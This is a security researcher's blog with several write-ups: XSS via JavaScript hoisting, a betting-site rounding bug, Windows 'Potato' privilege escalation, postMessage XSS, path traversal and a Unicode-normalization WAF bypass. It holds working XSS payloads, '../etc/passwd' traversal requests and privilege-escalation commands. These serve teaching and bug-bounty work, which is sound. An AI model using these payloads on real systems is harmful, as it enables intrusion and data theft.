Jorge Lajara Website

Javascript Hoisting in XSS Scenarios

2022-06-03T00:00:00+02:00

When detecting a potential Cross-Site Vulnerability (XSS), sometimes the reflected parameter is injected in a script with an undeclared element. Let’s suppose that we are facing the following:

<script>
    leo.write('test','reflection_here')
</script>

leo object is not defined in the source code or the javascript file that has the declaration no longer works because is hosted externally and the link is down.

Is it exploitable? How can we take advantage of this scenario? Javascript Hoisting could let us achieve successful exploitation in some cases.

TL/DR

If you are injecting after an undefined function or variable, you can declare it again and bypass the undeclared error to achieve successful execution.
Avoid using let/const variable declarations, use always var.
If you are injecting after a new constructor, do not declare a Class, declare a Function.
If you are injecting after an element that is using property accessors, exploitation is not possible because properties are not hoisted.

Javascript Hoisting

According Mozilla Developer Web Docs

JavaScript Hoisting refers to the process whereby the interpreter appears to move the declaration of functions, variables or classes to the top of their scope, prior to execution of the code. Hoisting allows functions to be safely used in code before they are declared. Variable and class declarations are also hoisted, so they too can be referenced before they are declared. Note that doing so can lead to unexpected errors, and is not generally recommended.

Therefore, in Javascript declarations of functions, variables, or classes can be defined after they are used.

Another thing to have in mind is that variables declared with let and const are also hoisted but, unlike var, are not initialized with a default value. An exception will be thrown if a variable declared with let or const is read before it is initialized.

Therefore, in an XSS scenario, we will always use var when declaring a variable.

Exploitable scenarios

Imagine that after submitting the following request: https://server/?param=INJECTION, is reflected in the following way:

vulnerableFunction('test', 'INJECTION'); 

Trying to scape the content with param='-alert(1)-':

vulnerableFunction('test', ''-alert(1)-''); 

It seems to work, however, the function is not declared and the following message is observed: ReferenceError: vulnerableFunction is not defined. Therefore, XSS exploitation is not possible with this payload.

Let’s see some scenarios where Javascript Hoisting can allow achieving a successful exploitation and some cases where is not exploitable (at least as far as I know).

Function injection

We can declare the function after it’s called in the following way:

vulnerableFunction('test', ''-alert(1)-''); 

function vulnerableFunction(a,b){
    return 1
};

Payload: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b

Or you can inject code after a declaration like this:

vulnerableFunction('test', 'test'); 

function vulnerableFunction(a,b){
    return 1
};

alert(1)

Payload: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)

There is a tricky scenario that is described Here

Variable injection

In the following case, the function myFunction is defined but the variable a used later is not. We can take advantage of variable hosting to achieve a successful XSS execution.

function myFunction(a,b){
    return 1
};

myFunction(a, 'test'); 

var a = 1;

alert(1);

Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b

Notice that the need for var is important because var is initialized with undefined and does not throw an error. However, the use of let/const will throw the following error ReferenceError: can’t access lexical declaration ‘a’ before initialization” because the variable is initialized.

Other scenarios

Class injection

In the following scenario, the class unexploitableClass is not defined. As indicated before, class declarations are hoisted. However, they remain uninitialized until evaluation. This effectively means that you have to declare a class before you can use it.

var variable = new unexploitableClass();

INJECTION

Therefore, injecting something like this, will not work:

var variable = new unexploitableClass();

class unexploitableClass {
  constructor(a) {
    this.a = a;
  }
}

An error will appear: referenceError: can’t access lexical declaration ‘unexploitableClass’ before initialization”

However, we can take advantage of the new operator because allows us to specify a class or function that specifies the type of the object instance.

Therefore:

var variable = new unexploitableClass();

function unexploitableClass() {
    return 1;
}

alert(1);

Will work.

Payload: param=function+unexploitableClass()+{return+1%3b}%3balert(1

Property accessors

Properties are not hoisted.

In the case where an object is present with a function:

test.cookie('leo','INJECTION')

Exploitation is possible with expression inside parameters:

test.cookie('leo','INJECTION'-alert(1));function test(){}

Payload: param=%27-alert(1));function%20test(){}//

Same happens with:

test['cookie','injection'-alert(1)];function test(){}

Payload: param=%27-alert(1)];function%20test(){}//

This works because Javascript is following these steps:

Hoist the declaration of test (value hoisting)
Executes “get property cookie of test” (will return the value undefined)
Executes alert(1) (evaluates parameters before we even know if the object is a function)
Executes test.cookie() and crashes as cookie (undefined) is no function

We do need a function declaration of test as we need test to exist to make a property access on it. However, we don’t need cookie to exist on test as the parameters will be evaluated before checking if the returned value of cookie is a function or not.

Thanks @joaxcar for pointing it out.

References

Betting Free, Winning More Free

2022-02-21T00:00:00+01:00

In one of our engagements at Bulletproof we discovered in a betting platform an interesting business logic vulnerability that allowed us to place bets without providing actual money and with a small profit lost. This bug could be repeated continuously to make this small account bigger and would allow a third-party actor to generate infinite money for free.

The bug consisted on 2 security misconfiguration chained together:

Client-side validation
Rounding algorithm

Exploitation Process

Client- Side Validation

When auditing a betting platform, the betting functionallity is the core of the business and the place where the impact could be bigger. When playing with the functionallity one step caught our attention. After trying to place a very small amount of money (0.001€) the server replied with the following error at the client-side:

Minimum bet is 0.10€

Perfect, normal behaviour. Intercepting the request with burp we can further analyze the HTTP request:

...

"deposits" : {
    "single" : [0.1]
}
...

In the response, we can observe the value Gain that is generated by multiplying the betting quantity * betting odds. In this case 0.10€ * 1.28 = 0.128€.

...
"Gain" : 0.128
...

After trying to place again this small quantity (0.001€), no error is thrown from the server-side, and the response body shows:

...
"Gain" : 0
...

With this, we can confirm that the minimum quantity check is performed only client-side, however, there is no impact on the application right now.

Rounding algorithm

When playing around with small amounts on the betting process we observe that the Gain value is changing. To better understand the behavior, the following table reflects the association betting amount/gain value:

Manual Calculation	Betting Amount	Gain Response	Output in the application
0.001 * 1.28 = 0.00128	0.001	0	Betting amount:0.00€ Gain: N/A
0.003 * 1.28 = 0.00384	0.003	0	Betting amount:0.00€ Gain: N/A
0.004 * 1.28 = 0.00512	0.004	0.01	Betting amount:0.00€ Gain: 0.01€
0.007 * 1.28 = 0.00896	0.007	0.01	Betting amount:0.01€ Gain: 0.01€

The conclusion to be drawn here:

A betting amount less than 0.005 will reflect on the application Betting amount:0.00€. Therefore a rounding algorithm exists on the betting amount.
An odd less than 0.005 will reflect on the application Gain: N/A, however an odd equal or greater than 0.005 will reflect Gain: 0.01€. Therefore a rounding algorithm exists on the gain amount.

Therefore, a betting amount less than 0.005 with a Gain greater than 0.00499 will allow betting free with a possibility of winning 0.01€.

However, is this really working? Or this behavior is observed but in the end, our wallet is being decreased accordingly?

If we place 3 bets of 0.004€ = 0.012€, we will see a 0.01€ decrease from our wallet if the application is doing it right.

However, after placing 3 bets, our wallet is not decreased.

Having this scenario, the next step that came to our mind was to place 600 bets to confirm the vulnerability.

200 first team win + 200 drawn + 200 second team win, covering with this all the possible scenarios.

After placing the 600 bets, our wallet was not decreased :)

When the match finished…

We won 2€ as a proof of concept and reported to the client.

I know what you are thinking and yes… we reported to the client…

Greetings from Bahamas.

Potatoes - Windows Privilege Escalation

2020-11-22T00:00:00+01:00

Hot, Rotten, Lonely, Juicy, Rogue, Sweet, Generic potatoes. There are a lot of different potatoes used to escalate privileges from Windows Service Accounts to NT AUTHORITY/SYSTEM. But, what are the differences? When should I use each one? Do they still work? This post is a summary of each kind of potato, when to use it and how to achieve successful exploitation.

Hot Potato
Rotten Potato
Lonely Potato
Juicy Potato
Rogue Potato
Sweet Potato
Generic Potato

TL/DR

Use Sweet Potato to rule them all - Sweet Potato

If you do not want to use Sweet Potato:

If the machine is >= Windows 10 1809 & Windows Server 2019 - Try Rogue Potato
If the machine is < Windows 10 1809 < Windows Server 2019 - Try Juicy Potato

Hot Potato

Hot Potato was the first potato and was the code name of a Windows privilege escalation technique discovered by Stephen Breen @breenmachine. This vulnerability affects Windows 7, 8, 10, Server 2008, and Server 2012.

How does this works?

Therefore, the vulnerability uses the following:

1. Local NBNS Spoofer: To impersonate the name resolution and force the system to download a malicious WAPD configuration.
2. Fake WPAD Proxy Server: Deploys a malicios WAPD configuration to force the system to perform a NTLM authentication
3. HTTP -> SMB NTLM Relay: Relays the WAPD NTLM token to the SMB service to create an elevated process.

To understand deeper this technique, the researchers post/video are recommended:

Exploitation

Download the binary from the repository: Here

Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true

Is this vulnerability exploitable right now?

Microsoft patched this (MS16-075) by disallowing same-protocol NTLM authentication using a challenge that is already in flight. What this means is that SMB->SMB NTLM relay from one host back to itself will no longer work. MS16-077 WPAD Name Resolution will not use NetBIOS (CVE-2016-3213) and does not send credential when requesting the PAC file(CVE-2016-3236). WAPD MITM Attack is patched.

Time to Rotten Potato.

Rotten Potato

Rotten Potato is quite complex, but mainly it uses 3 things:

1. RPC that is running through NT AUTHORITY/SYSTEM that is going to try to authenticate to our local proxy through the CoGetInstanceFromIStorage API Call.
2. RPC in port 135 that is going to be used to reply all the request that the first RPC is performing. It is going to act as a template.
3. AcceptSecurityContext API call to locally impersonate NT AUTHORITY/SYSTEM

1. Trick RPC to authenticate to the proxy with the CoGetInstanceFromIStorage API call. In this call the proxy IP/Por t is specified.
2. RPC send a NTLM Negotiate package to the proxy.
3. The proxy relies the NTLM Negotiate to RPC in port 135, to be used as a template. At the same time, a call to AcceptSecurityContext is performed to force a local authentication. Notice that this package is modified to force the local authentication.
4. & 5. RPC 135 and AcceptSecurityContext replies with a NTLM Challenge . The content of both packets are mixed to match a local negotiation and is forwarded to the RPC, step 6..
7. RPC responds with a NLTM Auth package that is send to AcceptSecurityContext (8.) and the impersonation is performed (9.).

To understand deeper this technique, the researchers post/video are recommended:

Exploitation

Download the binary from the repository: Here

After having a meterpreter shell with incognito mode loaded:

MSFRottenPotato.exe t c:\windows\temp\test.bat

Is this vulnerability exploitable right now?

Decoder analyzed if this technique could be exploited in the latest Windows version, in this blog post: https://decoder.cloud/2018/10/29/no-more-rotten-juicy-potato/

To sum up:

DCOM does not talk to our local listeners, so no MITM and no exploit.
Sending the packets to a host under our control listening on port 135, and then forward the data to our local COM listener does not work. The problem is that in this case, the client will not negotiate a Local Authentication.

Therefore, this technique won’t work on versions >= Windows 10 1809 & Windows Server 2019

Lonely Potato

Lonely Potato was the adaptation of Rotten Potato without relying on meterpreter and the “incognito” module made by Decoder.

https://decoder.cloud/2017/12/23/the-lonely-potato/

Is this vulnerability exploitable right now?

Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.

Juicy Potato

Juicy Potato is Rotten Potato on steroids. It allows a more flexible way to exploit the vulnerability. In this case, ohpe & decoder during a Windows build review found a setup where BITS was intentionally disabled and port 6666 was taken, therefore Rotten Potato PoC won’t work.

What are BITS and CLSID?

CLSID is a globally unique identifier that identifies a COM class object. It is an identifier like UUID.
Background Intelligent Transfer Service (BITS) is used by programmers and system administrators to download files from or upload files to HTTP web servers and SMB file shares. The point is that BITs implements the IMarshal interface and allows the proxy declaration to force the NTLM Authentication.

Rotten Potato’s PoC used BITS with a default CLSID

// Use a known local system service COM server, in this cast BITSv1
Guid clsid = new Guid("4991d34b-80a1-4291-83b6-3328366b9097");

They discovered that other than BITS there are several out of process COM servers identified by specific CLSIDs that could be abused. They need al least to:

Be instantiable by the current user, normally a service user which has impersonation privileges
Implement the IMarshal interface
Run as an elevated user (SYSTEM, Administrator, …)

And they found a lot of them: http://ohpe.it/juicy-potato/CLSID/

What are the advantages?

We do not need to have a meterpreter shell
We can specify our COM server listen port
We can specify with CLSID to abuse

Exploitation

Download the binary from the repository: Here

juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

Does this still works?

Same case as Rotten potato.

Rogue Potato

After reading fixes regarding Rotten/Juicy potato, the following conclusions can be drawn:

You cannot specify a custom port for OXID resolver address in latest Windows versions
If you redirect the OXID resolution requests to a remote server on port 135 under your control and the forward the request to your local Fake RPC server, you will obtain only an ANONYMOUS LOGON.
If you resolve the OXID Resolution request to a fake RPC Server, you will obtain an identification token during the IRemUnkown2 interface query.

How does this works?

Rogue Potato instruct the DCOM server to perform a remote OXID query by specifying a remote IP (Attacker IP)
On the remote IP, setup a “socat” listener for redirecting the OXID resolutions requests to a fake OXID RPC Server
The fake OXID RPC server implements the ResolveOxid2 server procedure, which will point to a controlled Named Pipe [ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]].
The DCOM server will connect to the RPC server in order to perform the IRemUnkown2 interface call. By connecting to the Named Pipe, an “Autentication Callback” will be performed and we could impersonate the caller via RpcImpersonateClient() call.
Then, a token stealer will:
- Get the PID of the rpcss service
- Open the process, list all handles and for each handle try to duplicate it and get the handle type
- If handle type is “Token” and token owner is SYSTEM, try to impersonate and launch a process with CreatProcessAsUser() or CreateProcessWithToken()

To dig deeper read the author’s blog post: https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/

What do you need to make it work?

You need to have a machine under your control where you can perform the redirect and this machine must be accessible on port 135 by the victim
Upload both exe files from the PoC. In fact it is also possible to launch the fake OXID Resolver in standalone mode on a Windows machine under our control when the victim’s firewall won’t accept incoming connections.

More info: https://0xdf.gitlab.io/2020/09/08/roguepotato-on-remote.html

Exploitation

Download the binary from the repository: Here

Run in your machine the socat redirection (replace VICTIM_IP):

socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999

Execute PoC (replace YOUR_IP and command):

.\RoguePotato.exe -r YOUR_IP -e "command" -l 9999

Sweet Potato

Sweet Potato is a collection of various native Windows privilege escalation techniques from service accounts to SYSTEM. It has been created by @EthicalChaos and includes:

RottenPotato
Weaponized JuciyPotato with BITS WinRM discovery
PrintSpoofer discovery and original exploit
EfsRpc built on EfsPotato
PetitPotam

It is the definitelly potatoe, a potatoe to rule them all.

Exploitation

Download the binary from the repository: Here

./SweetPotato.exe

  -c, --clsid=VALUE          CLSID (default BITS:
                               4991D34B-80A1-4291-83B6-3328366B9097)
  -m, --method=VALUE         Auto,User,Thread (default Auto)
  -p, --prog=VALUE           Program to launch (default cmd.exe)
  -a, --args=VALUE           Arguments for program (default null)
  -e, --exploit=VALUE        Exploit mode
                               [DCOM|WinRM|EfsRpc|PrintSpoofer(default)]
  -l, --listenPort=VALUE     COM server listen port (default 6666)
  -h, --help                 Display this help

Generic Potato

Wait, another potato? Yes. Generic Potato is a modified version of SweetPotato by @micahvandeusen to support impersonating authentication over HTTP and/or named pipes.

This allows for local privilege escalation from SSRF and/or file writes. It is handy when:

The user we have access to has SeImpersonatePrivilege
The system doesn’t have the print service running which prevents SweetPotato.
WinRM is running preventing RogueWinRM
You don’t have outbound RPC allowed to any machine you control and the BITS service is disabled preventing RoguePotato.

How do we abuse this? All we need is to cause an application or user with higher privileges to authenticate to us over HTTP or write to our named pipe. GenericPotato will steal the token and run a command for us as the user running the web server, probably system. More information ca be found here

Exploitation

Download the binary from the repository: Here

.\GenericPotato.exe

  -m, --method=VALUE         Auto,User,Thread (default Auto)
  -p, --prog=VALUE           Program to launch (default cmd.exe)
  -a, --args=VALUE           Arguments for program (default null)
  -e, --exploit=VALUE        Exploit mode [HTTP|NamedPipe(default)]
  -l, --port=VALUE           HTTP port to listen on (default 8888)
  -i, --host=VALUE           HTTP host to listen on (default 127.0.0.1)
  -h, --help                 Display this help

PostMessage Vulnerabilities. Part II

2020-07-17T00:00:00+02:00

This is the second part of a two series of articles about postMessage vulnerabilities. The first part was an introduction to what is a postMessage, basic exploitation, detection and mitigation. This part is an analysis of real cases reported in Bug Bounty scenarios. Two disclossed Hackerone reports will be analyzed and a few tips to exploit/bypass postMessage Vulnerabilities will be shown.

DOM Based XSS in www.hackerone.com via PostMessage and Bypass
CVE-2020-8127: XSS by calling arbitrary method via postMessage in reveal.js
Tips/Bypasses PostMessage vulnerabilities
Recommended writeups

DOM Based XSS in www.hackerone.com via PostMessage and Bypass (#398054 and #499030)

In #398054 report, a Dom XSS is exploited in Hackerone through an insecure message event listener in Marketo. The flow of the code could be seen in the following image:

According to the report, If there is no error set in the response, it creates a variable named u and sets it to the return value of the findCorrectFollowUpUrl method. This performs some processing on a property named followUpUrl in the response object, which seemed to be a URL to redirect to after the form submission was complete.

This was not used by the HackerOne form, but by setting it to an absolute URL, it was possible to control the value of the u variable, which was later used to change the location.href of the window. When the following mktoResponse message was sent to the Hackerone window, the window was redirected to the JavaScript URI, and the code alert(document.domain) was executed.

To exploit this vulnerability, the following snippet could be used:

In the snippet there are three parts:

1. PostMessage with the first JSON element as mktoResponse, to invoke the function in:

else if (d.mktoResponse){
    onResponse(d.mktoResponse)
}

2. Reaching this function, a JSON structure is needed with the following elements: for, error and data. If error is false, the function success will be called.

  var requestId = mktoResponse["for"];
  var request = inflight[requestId];
  if(request){
    if(mktoResponse.error){
      request.error(mktoResponse.data);
    }else{
      request.success(mktoResponse.data);

3. In this function, the followUpUrl value will be associated to u, and passed to location.href. Therefore, a payload with javascript:alert(document.domain) will trigger JavaScript execution.

  var u = findCorrectFollowUpUrl(data);
  location.href = u;

After that, Hackerone team changed the OnMessage function to add an origin validation:

if (a.originalEvent && a.originalEvent.data && 0 === i.indexOf(a.originalEvent.origin)) {
    var b;
    try {
        b = j.parseJSON(a.originalEvent.data)
    } catch (c) {
        return
    }
    b.mktoReady ? f() : b.mktoResponse && e(b.mktoResponse)
}

The Bypass

@honoki reported a smart bypass in #499030.

The variable i resolves to https://app-sj17.marketo.com/ and indexOf checks if the origin is contained in the string. Therefore registering a marcarian domain .ma, the validation will be bypassed:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
0

If the previous exploit is hosted in the registered domain https://app-sj17.ma, the XSS will be executed.

CVE-2020-8127: XSS by calling arbitrary method via postMessage in reveal.js (#691977)

In #691977, @s_p_q_r reported a DOM XSS exploited via PostMessage. The flow of the code could be seen in the following image:

First, the setupPostMessage is invoked with the method addKeyBinding to define a JSON element with the malicious payload. After that, the function showHelp() is called to render in the browser the malicios payload defined in registeredKeyBindings[binding].description

To exploit this vulnerability, the following snippet could be used:

In the snippet there are three parts:

1. PostMessage with the first JSON element as "method" : "addKeyBinding", to call the method and apply the args:

if( data.method && typeof Reveal[data.method] === 'function' ) {
    Reveal[data.method].apply( Reveal, data.args );

2. Reaching the function addKeyBinding with the arguments args, allows the construction of a JSON object with the value callback, key and description.

function addKeyBinding( binding, callback ) {

    if( typeof binding === 'object' && binding.keyCode ) {
        registeredKeyBindings[binding.keyCode] = {
            callback: callback,
            key: binding.key,
            description: binding.description
        };
    }

3. The function toggleHelp() is invoked because renders the content of the previous JSON without validation, triggering the JavaScript execution.

function showHelp() {

    ...

    for( var binding in registeredKeyBindings ) {
        if( registeredKeyBindings[binding].key && registeredKeyBindings[binding].description ) {
            html += '<tr><td>' + registeredKeyBindings[binding].key + '</td><td>' + registeredKeyBindings[binding].description + '</td></tr>';
        }
    }

    ...

}

Tips/Bypasses in PostMessage vulnerabilities

If indexOf() is used to check the origin of the PostMessage event, remember that it can be bypassed if the origin is contained in the string as seen in The Bypass
@filedescriptor: Using search() to validate the origin could be insecure. According to the docs of String.prototype.search(), the method takes a regular repression object instead of a string. If anything other than regexp is passed, it will get implicitly converted into a regexp.

"https://www.safedomain.com".search(t.origin)

In regular expression, a dot (.) is treated as a wildcard. In other words, any character of the origin can be replaced with a dot. An attacker can take advantage of it and use a special domain instead of the official one to bypass the validation, such as www.s.afedomain.com.

@bored-engineer: If escapeHtml function is used, the function does not create a new escaped object, instead it over-writes properties of the existing object. This means that if we are able to create an object with a controlled property that does not respond to hasOwnProperty it will not be escaped.

// Expected to fail:
result = u({
  message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

File object is perfect for this exploit as it has a read-only name property which is used by our template and will bypass escapeHtml function.

Recommended writeups

PostMessage Vulnerabilities. Part I

2020-06-12T00:00:00+02:00

This is the first part of a two series of articles about postMessage vulnerabilities. This part is an introduction to what is a postMessage, basic exploitation, detection and mitigation. The second part is an analysis of real cases reported in Bug Bounty scenarios.

What is a postMessage?

According to Mozilla:

The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.

Let’s see an example.

Supose we have a main website (1.html) that communicates with another website (2.html). In the second website there is a back button that changes when the navigation in the first website changes. For example, in website1 we navigate to “changed.html”, then the back button in website2 points to “changed.html”. To do that, postMessage is used and sends the value of website1 to website2.

The code in 1.html is the following:

<!DOCTYPE html>
<html>
<head>
    <title>Website 1</title>
 <meta charset="utf-8" />
<script>

var child;
function openChild() {child = window.open('2.html', 'popup', 'height=300px, width=500px');
  
}
function sendMessage(){
    let msg={url : "changed.html"};
    // In production, DO NOT use '*', use toe target domain
    child.postMessage(msg,'*')// child is the targetWindow
    child.focus();
}</script>
</head>
<body>
    <form>
        <fieldset>
            <input type='button' id='btnopen' value='Open child' onclick='openChild();' />
            <input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
        </fieldset>
    </form>
</body>
</html>

There are two buttons:

The first one opens a popup containing 2.html through openChild() function
The second one sends a message through sendMessage() function. To do that a message is set defining msg variable and then calling postMessage(msg,'*').

The code in 2.html is the following:

<!DOCTYPE html>
<html>
<head>
    <title>Website 2</title>
    <meta charset="utf-8" />
    <script>
    // Allow window to listen for a postMessage
    window.addEventListener("message", (event)=>{
        // Normally you would check event.origin
        // To verify the targetOrigin matches
        // this window's domain
         document.getElementById("redirection").href=`${event.data.url}`;
        // event.data contains the message sent
      
    });function closeMe() {
        try {window.close();
        } catch (e) { console.log(e) }
        try {self.close();
        } catch (e) { console.log(e) }}
    </script>
</head>
<body>
    <form>
        <h1>Recipient of postMessage</h1>
            <fieldset>
                <a type='text' id='redirection' href=''>Go back</a>
                <input type='button' id='btnCloseMe' value='Close me' onclick='closeMe();' />
            </fieldset>
   
    </form>
</body>
</html>

There is a button and a link:

The link handles the back redirection. The href field changes according the data received with the listener window.addEventListener("message", (event). After receiving the message, the data in the event is read from event.data.url and passed to href.
The button closes the window calling the function closeMe()

A basic vulnerability

PostMessages if are not implemented correctly could lead to information disclosure or cross-site scripting vulnerabilities (XSS).

In this case, 2.html is expecting a message without validating the origin, therefore we could host a webpage 3.html that will load 2.html as an iframe and the invoke the postMessage() function to manipulate the href value.

<!DOCTYPE html>
<html>
<head>
    <title>XSS PoC</title>
 <meta charset="utf-8" />


</head>
<body>
    
 <iframe id="frame" src="2.html" ></iframe>

 <script>
 	
	let msg={url : "javascript:prompt(1)"};
	var iFrame = document.getElementById("frame")
	iFrame.contentWindow.postMessage(msg, '*');

</script>
</body>
</html>

In this example, the malicious msg variable contains the data {url : "javascript:prompt(1)"};, that will be send to 2.html. 2.html after processing, will change the value in the <a href to the value of the msg.url. An iframe is used to load in the same website the attack scenario. When a user clicks the Go back link, a XSS will be executed.

This is a simple case, in PostMessage Vulnerabilities. Part II real case scenarios will be analyzed.

Mitigations

According to Mozilla:

If you do not expect to receive messages from other sites, do not add any event listeners for message events. This is a completely foolproof way to avoid security problems.

If you do expect to receive messages from other sites, always verify the sender’s identity using the origin and possibly source properties. Any window can send a message to any other window, and you have no guarantees that an unknown sender will not send malicious messages. Having verified identity, however, you still should always verify the syntax of the received message. Otherwise, a security hole in the site you trusted to send only trusted messages could then open a cross-site scripting hole in your site.

Always specify an exact target origin, not *, when you use postMessage to send data to other windows. A malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using postMessage.

In the previous scenario, the following code should be modified in 1.html:

child.postMessage(msg,'*')

child.postMessage(msg,'2.html')

And in 2.html:

window.addEventListener("message", (event)=>{
	...

}

To:

window.addEventListener("message", (event)=>{
	if (event.origin !== "http://safe.com")
    return;
	...
}

Detection

The way to detect postMessage vulnerabilities is reading JavaScript code. There is not an easy automated tool to help with this because when a listener is defined, the event data flow must be followed to analyze if the code ends in a vulnerable function. Anyways, I recommend two ways to detect the function calls:

With J2EEScan, from git repository, not BApp Store because I think is not updated:

Github - J2EEScan

With BurpBounty, defining a set of Passive response strings searching for keywords like: postMessage , addEventListener("message, .on("message".

Github - Burp Bounty

References

2 Path Traversal Cases

2020-03-29T00:00:00+01:00

Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. In this post, two path traversal bugs will be shown. Endpoints are redacted to deny information leaks.

Path traversal in a statistic email

After enumeration and directory bruteforcing, an endpoint appeared https://redacted.com/act. In this endpoint, there was an input text element that asked form some code.

Let’s try a random code to check how the backend handles the input, maybe some information could be retrieved like code length, reflection of the input that could be vulnerable to XSS, vulnerable to SQLi, etc.

Okey, there is no captcha or something that could slow down the bruteforcing process, therefore we could use Burp’s Intruder to try to find some valid code and see if we can unlock some extra functionality.

Perfect, 2 valid codes. Once entered, an email is asked. Let’s enter our email.

Awesome, email’s domain is not checked against a whitelist so we could retrieve information associated to these codes, but… this is not a potential vulnerability.

Let’s analyze the final request:

POST /act/ HTTP/1.1
Host: redacted.com
...

prevEntered=445856&email=myemail%40domain.com&emailSubmit=Submit

And try to play with the prevEntered parameter:

prevEntered=445856'&email=myemail%40domain.com&emailSubmit=Submit

Interesting, is the backend vulnerable to SQLi? After trying some logical querys like ' or 'l'='l, ' and 'l'='l'--, etc, I could determine that maybe is not vulnerable to SQLi.

But, what if the application is not using a database to retrieve that information? Maybe this code is matched with and existing file in the filesystem. Therefore trying:

prevEntered=../../../../../../../../../../../../etc/passwd&email=myemail%40domain.com&emailSubmit=Submit

Gave us:

Path traversal in a video player

After navigating and following the logical flow of an endpoint, a video appeared. Normally, I use to ignore videos because they are loaded from third-party websites or they are in an static web folder. But after playing the video, the following traffic was shown:

GET /videos/2020/video1/video-1300Kbps/ HTTP/1.1
Host: redacted.com

And a lot of binary data was returned in the response. This could indicate that the backend is grabbing the video and performing some bandwith or video size limitation according.

After adding some ../ characters the response returned File not found."

What would happen if we add the following to the request?

GET /videos/2020/video1/video-1300Kbps/../../../../etc/passwd HTTP/1.1
Host: redacted.com

Response:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain

XXXXXX:x:23511:65534::/dev/null:/usr/bin/rssh
XXXXXX:x:23511:65534::/dev/null:/usr/bin/rssh
XXXXXX:x:23511:65534::/dev/null:/usr/bin/rssh

Lessons learned

1. Try to unlock the most of the application’s functionality possible. This will increase the attack vector.
2. If some endpoint seems vulnerable but we can not achieve a succesfull attack, maybe the attack is wrong. Think outside the box.
3. Try to interact with all the elements of the application. In this case, a web player was vulnerable to Path Traversal.

WAF Bypassing with Unicode Compatibility

2020-02-19T00:00:00+01:00

Unicode Compatibility is a form of Unicode Equivalence which ensures that between characters or sequences of characters which may have distinct visual appearances or behaviors, the same abstract character is represented. For example, 𝕃 is normalized to L. This behaviour could open the door to abuse some weak implementations that performs unicode compatibility after the input is sanitized.

Unicode compatibility forms

There are four standard normalization forms:

NFC: Normalization Form Canonical Composition
NFD: Normalization Form Canonical Decomposition
NFKC: Normalization Form Compatibility Composition
NFKD: Normalization Form Compatibility Decomposition

NFKC and NKFD are the ones that are interesting because they perform compatibility, to check this behaviour, we could use this Python snippet:

import unicodedata
string = "𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))

Output:

NFC: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFD: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFKC: Leonishan
NFKD: Leonishan

Proof of concept

To demostrate this behaviour, we have created a simple web application that reflects the name given by a GET parameter if the WAF does not detect some strange character. This is the code:

server.py

from flask import Flask, abort, request
import unicodedata
from waf import waf

app = Flask(__name__)


@app.route('/')
def Welcome_name():
  name = request.args.get('name')


  if waf(name):
    abort(403, description="XSS Detected")
  else:
    name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD
    return 'Test XSS: ' + name

if __name__ == '__main__':
  app.run(port=81)

This application loads the following “WAF” to abort the connection if some uncommon character is detected:

waf.py

def waf(input):
    print(input)
    blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","\",",".","/","?",";",":",""",""","<",">"]
    vuln_detected = False
    if any(string in input for string in blacklist): 
        vuln_detected = True
    return vuln_detected   

Therefore, some request with the following payload (<img src=p onerror='prompt(1)'>) will be aborted:

Request:

GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E

Response:

HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>XSS Detected</p>

If we check the following line of the code:

name = unicodedata.normalize('NFKD', name)

We can observe that the server is performing some unicode normalization after the WAF analyzes the input. Therefore, a payload with the same unicode value after the normalization than a common XSS payload will trigger the same results:

＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥

Request:

GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5

Response:

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41

Test XSS: <img src=p onerror='prompt(1)'>

Perfect, but how this characters can be found? Can this method bypass some restriction with other vulnerabilities?

How to find normalized characters?

In order to find a complete list of characters that have the same meaning after unicode compatibility this amazing resource could be used:

https://www.compart.com/en/unicode

A character can be searched and the same character after compatibility would be found. For example, the character < - https://www.compart.com/en/unicode/U+003C

Shows this three characters: ≮,﹤ and ＜. After clicking in each one we can see in the Decomposition section that are normalized in the following way:

≮ - < (U+003C) - ◌̸ (U+0338)
﹤ - < (U+003C)
＜ - < (U+003C)

In this case the character ≮ would not achieve our desired functionallity because it injects the character ◌̸ (U+0338) and will break our payload.

Exploiting other vulnerabilities

Tons of custom payloads could be crafted if normalization is performed, in this case I will give some ideas:

Path Traversal

Character	Payload	After Normalization
